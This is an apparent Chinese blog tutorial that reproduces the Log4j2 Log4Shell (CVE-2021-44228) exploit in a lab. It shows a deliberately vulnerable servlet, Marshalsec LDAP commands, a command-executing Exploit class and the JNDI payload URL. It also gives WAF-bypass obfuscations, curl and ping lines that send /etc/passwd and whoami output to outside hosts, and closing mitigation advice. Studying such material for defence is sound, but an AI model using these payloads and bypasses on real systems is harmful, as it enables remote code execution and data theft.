当前位置: 首页 > news >正文

Log4j2漏洞实战复现:从JNDI注入到远程代码执行

1. 项目概述:从“核弹级”漏洞到实战复现

2021年底,一个名为Log4j2的Java日志框架漏洞,几乎让全球互联网技术圈陷入了一场集体性的“救火”状态。CVE-2021-44228,这个编号背后所代表的,是一个影响范围极广、利用门槛极低、危害性极高的远程代码执行漏洞。由于其波及了从云服务大厂到企业内部系统的海量Java应用,安全研究员们形象地称之为“核弹级”漏洞。作为一名长期关注应用安全与漏洞研究的从业者,我深知仅仅了解漏洞公告是远远不够的。真正的理解,来自于亲手搭建环境、触发漏洞、分析流量、并最终实现利用的完整过程。漏洞复现,是安全研究中最核心的实践环节,它不仅能让你深刻理解漏洞的原理和危害,更能锻炼你在真实攻防场景下的分析与应对能力。本文将带你从零开始,完整复现Log4j2远程代码执行漏洞,我会详细拆解其背后的JNDI注入机制,提供可操作的复现步骤,并分享在复现过程中可能遇到的坑以及排查技巧。无论你是刚入门的安全爱好者,还是希望加固自身系统的开发工程师,这篇手把手的实战指南都将为你提供直接的参考价值。

2. 漏洞原理深度解析:为什么一行日志能执行命令?

要成功复现一个漏洞,首要任务是吃透它的原理。Log4j2漏洞的核心,在于其提供的“日志消息查找替换”功能与Java的JNDI服务结合时,产生了一条危险的利用链。

2.1 Log4j2的动态查找与JNDI注入

Log4j2为了增强日志的灵活性,支持在日志输出时进行“查找”(Lookup)。例如,你可以通过${java:runtime}来输出Java运行时信息。问题出在它支持一种名为JNDI的查找方式,格式为${jndi:lookup}。JNDI是Java命名和目录接口,它允许Java程序通过名称去访问网络上的各种目录服务,如LDAP、RMI、DNS等。

当Log4j2(2.0-beta9 至 2.14.1版本)在处理用户可控的日志消息时,如果消息中包含了${jndi:ldap://attacker.com/Exploit}这样的字符串,它就会无条件地执行这个JNDI查找。它会去连接attacker.com这个攻击者控制的LDAP服务器,并请求Exploit这个资源。

2.2 攻击链的完整拼图

单纯的JNDI查找并不直接导致代码执行。真正的杀伤力来自于Java中一个历史悠久的“特性”:当JNDI客户端(即我们的受害应用)从LDAP服务器获取到一个对象引用时,如果该引用指向一个远程的Java类文件,且客户端的com.sun.jndi.ldap.object.trustURLCodebase属性为true(在Java 8u191以下版本默认即为true),客户端就会自动从指定地址加载并实例化这个类。

于是,完整的攻击链就形成了:

  1. 攻击输入:攻击者将包含恶意JNDI查找的字符串(如${jndi:ldap://evil.com/Calc})提交给应用(例如,通过User-Agent、搜索框、登录用户名等任何会触发日志记录的地方)。
  2. 日志记录:应用使用存在漏洞的Log4j2版本记录该字符串。
  3. 查找触发:Log4j2解析日志消息,识别出${jndi:...}模式,并启动JNDI查找。
  4. 恶意响应:攻击者控制的LDAP服务器(evil.com)响应查找请求,返回一个指向http://evil.com/Exploit.class的引用。
  5. 代码加载与执行:受害应用(Java 8u191前)信任该引用,从http://evil.com下载Exploit.class文件,加载到JVM中并实例化。而Exploit.class的静态代码块或构造函数中,可以包含执行任意命令的代码,例如Runtime.getRuntime().exec("calc.exe")

理解了这个链条,你就明白了复现的关键:我们需要模拟一个存在漏洞的Java应用、一个能响应恶意JNDI请求的LDAP服务器,以及一个托管恶意Java类的HTTP服务。

注意:此复现仅用于合法授权的安全测试、教育及研究目的。所有操作应在隔离的虚拟机或实验网络中进行,严禁对未授权系统进行测试。

3. 复现环境搭建与工具选型

工欲善其事,必先利其器。一个稳定、隔离的复现环境是成功的第一步。我推荐使用虚拟机搭建一个简单的实验网络。

3.1 环境准备与规划

  • 攻击机 (Kali Linux / 任意Linux): 用于启动LDAP服务、HTTP服务,并作为控制中心。IP:192.168.1.100
  • 靶机 (Ubuntu 或 Windows): 运行存在漏洞的Java Web应用。IP:192.168.1.200
  • 网络: 确保两台机器在同一局域网,可以互相ping通。

工具清单

  1. Java环境: 靶机需要安装Java 8u191 之前的版本(这是利用成功的关键)。例如 Java 8u181。攻击机安装任意版本即可。
  2. 存在漏洞的Log4j2库: 我们将创建一个简单的Java Web应用来模拟漏洞场景。
  3. Marshalsec: 一个非常轻量级的工具,用于快速启动一个恶意的JNDI LDAP服务器。我们将用它来作为攻击机的LDAP服务。
  4. 简易HTTP服务器: 用于托管恶意Java类文件。可以用Python的http.server模块快速搭建。
  5. 漏洞利用代码 (Exploit.class): 一个编译好的Java类,其静态代码块中包含我们要执行的命令。

3.2 靶机应用搭建

我们不直接使用复杂的Spring Boot项目,而是创建一个最精简的Servlet应用,以便清晰地观察漏洞触发过程。

步骤1:创建项目结构在靶机上创建一个目录vuln-app,并建立如下结构:

vuln-app/ ├── src/ │ └── VulnServlet.java ├── lib/ │ └── log4j-core-2.14.1.jar (存在漏洞的版本) ├── web/ │ └── WEB-INF/ │ └── web.xml └── compile_and_run.sh

步骤2:编写存在漏洞的Servletsrc/VulnServlet.java内容如下:

import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class VulnServlet extends HttpServlet { // 创建Logger,这是漏洞触发的关键对象 private static final Logger logger = LogManager.getLogger(VulnServlet.class); protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userInput = request.getParameter("input"); // 获取用户输入 // 关键漏洞点:使用logger记录用户可控的输入 logger.error("Received input: " + userInput); response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h1>Log Test</h1>"); out.println("<p>Your input has been logged.</p>"); out.println("</body></html>"); } }

这段代码的逻辑非常简单:接收一个名为input的GET参数,然后用Log4j2的logger.error()方法将其记录下来。当userInput包含${jndi:...}时,漏洞即被触发。

步骤3:准备依赖与配置文件

  1. 从Maven仓库下载log4j-core-2.14.1.jarlog4j-api-2.14.1.jar,放入lib/目录。
  2. 创建web/WEB-INF/web.xml来配置Servlet:
<?xml version="1.0" encoding="UTF-8"?> <web-app> <servlet> <servlet-name>VulnServlet</servlet-name> <servlet-class>VulnServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>VulnServlet</servlet-name> <url-pattern>/log</url-pattern> </servlet-mapping> </web-app>

步骤4:编译、打包与运行编写一个简单的脚本compile_and_run.sh

#!/bin/bash # 编译 javac -cp "lib/*" -d ./classes src/VulnServlet.java # 创建WAR包结构 mkdir -p web/WEB-INF/classes cp -r classes/* web/WEB-INF/classes/ cp lib/*.jar web/WEB-INF/lib/ # 使用嵌入式Jetty运行(需先下载jetty-runner) # wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-runner/9.4.43.v20210629/jetty-runner-9.4.43.v20210629.jar java -jar jetty-runner-9.4.43.v20210629.jar --port 8080 web/

运行此脚本,我们的漏洞应用就在http://192.168.1.200:8080上启动了。

4. 攻击端工具配置与利用代码生成

现在,切换到攻击机进行操作。我们的目标是启动两个服务:一个恶意的LDAP服务器,一个用于托管恶意类的HTTP服务器。

4.1 使用Marshalsec搭建恶意LDAP服务器

Marshalsec是一个Java项目,我们需要先编译它。

# 1. 安装Java和Maven sudo apt update && sudo apt install openjdk-8-jdk maven -y # 2. 克隆并编译Marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests

编译成功后,在target/目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar

启动LDAP服务器,指定其将JNDI请求重定向到我们的HTTP服务:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:8000/#Exploit"

这条命令的意思是:在攻击机(192.168.1.100)的默认LDAP端口(1389)启动一个服务。当有客户端请求Exploit资源时,LDAP服务器将返回一个指向http://192.168.1.100:8000/Exploit.class的引用。#Exploit指定了要加载的类名。

4.2 制作恶意Java类 (Exploit.class)

我们需要创建一个Java类,在其静态代码块中执行命令。这里我们以在Linux靶机上弹出计算器(如果靶机有GUI)或创建一个文件作为证明。

创建Exploit.java

public class Exploit { static { try { // 这里是要执行的命令 // Linux下可以尝试打开计算器(如gnome-calculator)或创建一个文件 String[] commands = {"touch", "/tmp/log4j_hacked"}; // 如果是Windows靶机,可以换成 calc.exe // String[] commands = {"cmd.exe", "/c", "calc.exe"}; java.lang.Runtime.getRuntime().exec(commands); } catch (Exception e) { e.printStackTrace(); } } }

编译它,注意编译用的Java版本最好与靶机版本一致或更低,以保证兼容性。

javac Exploit.java

编译后会生成Exploit.class文件。

4.3 启动HTTP服务器托管恶意类

Exploit.class所在的目录,启动一个简单的HTTP服务器:

python3 -m http.server 8000

现在,我们的恶意类可以通过http://192.168.1.100:8000/Exploit.class被访问到。

5. 漏洞触发与利用过程全记录

万事俱备,只欠东风。现在让我们触发漏洞。

5.1 构造攻击Payload

在浏览器、curl或BurpSuite中,向靶机应用发送一个GET请求,参数input的值就是我们的攻击载荷。

http://192.168.1.200:8080/log?input=${jndi:ldap://192.168.1.100:1389/Exploit}

这个URL的意思是:访问靶机的/log路径,并传递参数input,其值为${jndi:ldap://攻击机IP:LDAP端口/资源名}

5.2 观察攻击链触发

  1. 发送请求:当你访问上述URL时,靶机应用接收到input参数。
  2. 日志记录VulnServlet中的logger.error(“Received input: “ + userInput)执行。Log4j2开始处理字符串拼接后的结果“Received input: ${jndi:ldap://192.168.1.100:1389/Exploit}”
  3. JNDI解析:Log4j2识别出${jndi:...}模式,尝试连接192.168.1.100:1389的LDAP服务,查询Exploit
  4. LDAP响应:攻击机上的Marshalsec LDAP服务器收到查询,返回一个指向http://192.168.1.100:8000/Exploit.class的LDAP引用。
  5. 类加载与执行:靶机JVM(假设是Java 8u181)收到引用,从http://192.168.1.100:8000/下载Exploit.class,加载并初始化这个类。在类初始化的静态代码块中,命令touch /tmp/log4j_hacked被执行。

5.3 验证利用结果

回到你的靶机,检查命令是否执行成功:

ls -la /tmp/log4j_hacked

如果文件被成功创建,恭喜你,漏洞复现成功!这证明了攻击者确实可以通过此漏洞在目标服务器上执行任意系统命令。

同时,观察攻击机上的终端窗口,你可以看到LDAP服务器和HTTP服务器的访问日志,清晰地展示了整个攻击链的流量。

6. 复现过程中的疑难杂症与排查指南

在实际操作中,你可能会遇到各种问题导致复现失败。下面是我在多次复现中总结的常见问题及解决方法。

6.1 常见问题速查表

问题现象可能原因排查步骤与解决方案
靶机应用日志无异常,无网络连接1. Log4j2版本不对。
2. 日志级别设置过高,未记录ERROR日志。
3. 代码未触发logger调用。
1. 确认lib目录下是2.0-beta9至2.14.1之间的版本。
2. 检查Log4j2配置文件,确保Logger级别包含ERROR。简易方法:在代码中直接使用logger.error()
3. 在Servlet中加打印语句,确认doGet方法被执行。
LDAP服务器收到连接,但HTTP服务器无请求1. 靶机Java版本过高(>=8u191)。
2. Marshalsec命令参数错误。
1. 在靶机执行java -version确认版本。必须使用8u191、7u201、6u211或更早版本。这是最常见的失败原因。
2. 检查Marshalsec启动命令,确保URL格式正确http://YOUR_IP:PORT/#ClassName
HTTP服务器收到请求但返回4041.Exploit.class文件不在HTTP服务根目录。
2. 类名不匹配。
1. 确保在启动Python HTTP服务器的目录下存在Exploit.class
2. 检查Marshalsec命令中的#Exploit与编译出的类名是否完全一致(大小写敏感)。
命令执行成功但无效果1. 命令路径错误。
2. 执行环境权限不足。
3. 命令本身无回显。
1. 使用绝对路径,如/usr/bin/touch
2. 尝试一个无害且有明显效果的命令,如在Web目录写一个HTML文件。
3. 可以尝试在Exploit代码中执行curlwget向外部服务器发送请求以证明执行成功。
网络连接问题1. 防火墙阻止。
2. IP地址配置错误。
1. 关闭靶机和攻击机的防火墙(实验环境):sudo systemctl stop firewalldsudo ufw disable
2. 互相ping一下,确保IP可达。检查Marshalsec和Python服务器是否绑定在0.0.0.0

6.2 高阶技巧与深度分析

  1. 绕过WAF与特殊字符编码:在实际渗透测试中,${jndi:ldap://...}这种原始payload很可能被WAF拦截。攻击者会使用各种绕过技巧,例如:

    • 大小写混淆${jNdI:lDaP://...}
    • 利用环境变量嵌套${${env:USER:-j}ndi:...}(在某些版本有效)
    • Unicode转义\u0024代替$\u007b代替{等。
    • 其他协议尝试:除了ldap,还可以尝试rmidnsiiop等,如${jndi:rmi://...}。在复现时,可以尝试使用Marshalsec启动RMI服务:java -cp marshalsec.jar marshalsec.jndi.RMIRefServer ...
  2. 无回显命令执行验证:如果执行的是touch这类无回显命令,如何确认漏洞存在?除了检查文件,还可以:

    • DNS外带:使用nslookupping命令将执行结果带出。例如,执行ping -c 1 $(whoami).your-dns-log.com,然后在DNS日志平台查看子域名解析记录,其中就包含了whoami的命令结果。
    • HTTP外带:使用curlwget将命令结果作为URL参数发送到自己的服务器。例如curl http://your-server.com/$(cat /etc/passwd | base64)
  3. 使用现成工具进行快速检测与利用:对于日常渗透测试,手动搭建环境效率较低。成熟的工具如:

    • JNDI-Injection-Exploit: 一个集成的工具,一键启动LDAP/RMI服务并自动生成利用代码。
    • dnslog.cn: 国内常用的DNS外带检测平台,可用于快速检测目标是否存在漏洞(发送${jndi:ldap://xxx.dnslog.cn})。
    • BurpSuite插件:Log4Shell Scanner: 自动化的被动扫描插件。

7. 漏洞修复与防护方案实战

复现漏洞是为了更好地防御它。了解攻击原理后,我们可以从多个层面进行防护。

7.1 紧急缓解措施(治标)

如果无法立即升级,可以采取以下临时方案:

  1. 修改JVM参数(最有效):启动应用时添加以下参数,直接禁用JNDI查找和远程类加载。
    -Dlog4j2.formatMsgNoLookups=true # Log4j 2.10及以上 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false # 禁用LDAP远程代码库 -Dcom.sun.jndi.rmi.object.trustURLCodebase=false # 禁用RMI远程代码库
  2. 移除漏洞类:删除Log4j2核心JAR包中的JndiLookup类。
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. 环境变量:设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true

7.2 根本解决方案(治本)

  1. 升级Log4j2:这是最推荐的方案。
    • 升级到安全版本2.17.02.12.4(Java 7)、2.3.2(Java 6)。
    • 注意:后续又发现了CVE-2021-45046CVE-2021-45105等漏洞,因此务必升级到最终的安全版本(如2.17.1)。
  2. 使用其他日志框架:考虑迁移到LogbackSLF4J等。
  3. WAF/防火墙规则:在网关或WAF上配置规则,拦截包含jndi:ldap://rmi://等特征的请求。
  4. 安全开发规范:避免将用户输入直接传递给日志记录器。如果必须记录,应先进行校验或编码。

7.3 排查与监控

对于已上线系统,如何快速排查?

  1. 版本扫描:使用log4j-core-*.jar文件名和内部版本号进行资产扫描。
  2. 流量监控:在IDS/IPS或网络设备上监控出站流量,特别是向非常用端口(如1389)发起的LDAP连接。
  3. 进程监控:监控Java进程是否突然发起网络连接或执行异常子进程。

亲手复现一遍CVE-2021-44228,你会对“漏洞利用链”这个概念有刻骨铭心的理解。它不再是新闻里模糊的风险描述,而是一系列环环相扣、可以实际观测和操控的技术步骤。这种从原理到实操的完整穿越,是提升安全实战能力最有效的方法。在复现过程中,我强烈建议你不仅仅满足于弹出计算器,可以尝试修改Exploit代码,实现反弹Shell,或者结合DNS/HTTP外带技术获取命令执行的回显,这能让你更贴近真实攻击场景。最后,请永远记住,所有技术研究都应在法律和道德允许的范围内,在隔离环境中进行。

http://www.gsyq.cn/news/1594359.html

相关文章:

  • 单片机为什么被认为是一门简单的技术?
  • RAG — 给模型装上“外部大脑“
  • 3分钟快速上手:Windows 12网页版零安装体验指南
  • 如何理解数据包在Linux内核中的完整运行:从网卡到应用程序
  • 最后80天!2026年9月PMP末班车冲刺攻略:从报名到上岸,一篇管够
  • 如何在浏览器中免费体验Windows 12完整界面:零安装终极指南
  • 3个技巧让下载效率翻倍:LinkSwift开源工具如何优化你的网盘体验
  • Claude Code 教程 -01-快速上手
  • 3分钟彻底告别Windows激活烦恼:智能激活工具完全指南
  • 接口测试全流程实战:从Postman功能测试到JMeter性能压测
  • IPXWrapper终极指南:5分钟让经典游戏在现代Windows上联网对战
  • 如何实现微信聊天记录永久保存:WeChatMsg本地数据备份完整指南
  • 为什么顶尖金融/电商团队已弃用默认IDE?Java开发工具选型的5个反直觉原则(含内部评估矩阵表)
  • 山西信创工控机厂家
  • 智慧养殖盒子:低成本物联网方案助力农业现代化
  • 如何快速掌握Mesen模拟器:终极NES游戏体验指南
  • 终极解决方案:WarcraftHelper如何彻底革新经典魔兽争霸3游戏体验
  • 终极指南:Get cookies.txt LOCALLY - 安全本地Cookie导出工具完全掌握
  • NFT链游开发终极FAQ:卡片式表格解读资产标准、经济模型与全链架构
  • 呆啵宠物DyberPet:5分钟打造你的专属桌面数字伙伴 [特殊字符]
  • 3步搞定Windows文件管理革命:QTTabBar让资源管理器变浏览器
  • 用迭代视角重证Berry-Esséen定理:从动态系统理解中心极限定理收敛速率
  • 【VMware用户生存指南】:博通收购后成本暴涨、许可收紧、替代方案紧急清单(2024年实测数据)
  • 终极Nintendo Switch游戏文件管理工具:NSC_BUILDER完全使用指南
  • 网盘下载总是卡在限速?这款免费工具让你一键获取高速直链
  • VMware虚拟磁盘类型全解析:厚置备延迟清零 vs 精简置备 vs 独立磁盘——90%工程师选错的3大致命误区
  • ASC0101S — 商业航天级 1 位双向电平转换器:小封装解决跨电压域大问题
  • FFXIV TexTools实战指南:三步打造你的专属《最终幻想14》游戏世界
  • 从指标采集到异常通知:搭建完整的Linux服务器监控告警系统
  • 命理师客户排盘历史怎么管理?2026最新工具测评看数据复盘能力